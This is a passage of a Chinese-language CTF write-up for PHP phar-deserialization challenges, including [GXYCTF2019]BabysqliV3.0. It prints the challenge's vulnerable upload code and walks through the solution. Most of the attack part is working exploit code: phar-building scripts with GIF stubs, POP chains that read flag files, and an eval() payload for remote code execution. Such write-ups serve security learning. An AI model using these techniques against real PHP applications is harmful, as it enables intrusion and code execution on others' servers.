$user -> __destruct() => $db -> close() => $db->__call(close) => $file -> close() =>$results=file_get_contents($filename) => FileList->__destruct()輸出$result
<?php
class User {
public $db;
public function __construct(){
$this->db=new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct(){
$this->files=array(new File());
$this->results=array();
$this->funcs=array();
}
}
class File {
public $filename="/flag.txt";
}
$user=new User();
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");
$phar->setMetadata($user);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
將phar檔案修改字尾 刪除時抓包
獲得flag{fdb7aa36-b9de-4313-88e5-ee627acb6f32}
[GXYCTF2019]BabysqliV3.0
輸入admin password登入
url後面傳入的 是file=upload 利用偽協議對upload進行編碼得到原始碼
home.php
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
if(isset($_GET['file'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("hacker!");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "當前引用的是 ".$file;
require $file;
}
}
else{
die("no permission!");
}
}
?>
upload.php
<?php
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上傳的檔案:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
利用file-fte-contents函式讀取檔案
file_get_contents()
使 $uploader
透過__toString()
返回 $this->Filename
,$this->Filename
可控,因此此處 $this->Filename
用來觸發 phar,__destruct()
方法內 eval($this->cmd);
進行 RCE
__destruct()
方法中,想要 eval($this->cmd);
的前提條件是 $this->token
和 $_SESSION['user']
相等
再看__construct()
方法,當我們不傳name引數的時候,會將$this->Filename
賦值為包含$_SESSION['user']
值的檔名,因此我們可以先隨便上傳一個txt,在返回的目錄中得到$_SESSION['user']
的值。
構造phar檔案
<?php
class Uploader
{
public $Filename;
public $cmd;
public $token;
}
$a = new Uploader();
$a->Filename="test";
$a->cmd="highlight_file('/var/www/html/flag.php');";
$a->token="GXYe7d02718b005eb627b96152329758509";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設定stub,增加gif檔案頭
$phar->setMetadata($a); //將自定義meta-data存入manifest
$phar->addFromString("test.txt", "test"); //新增要壓縮的檔案
$phar->stopBuffering();
將生成的phar檔案上傳 得到路徑
phar偽協議+路徑上傳 抓包
得到flag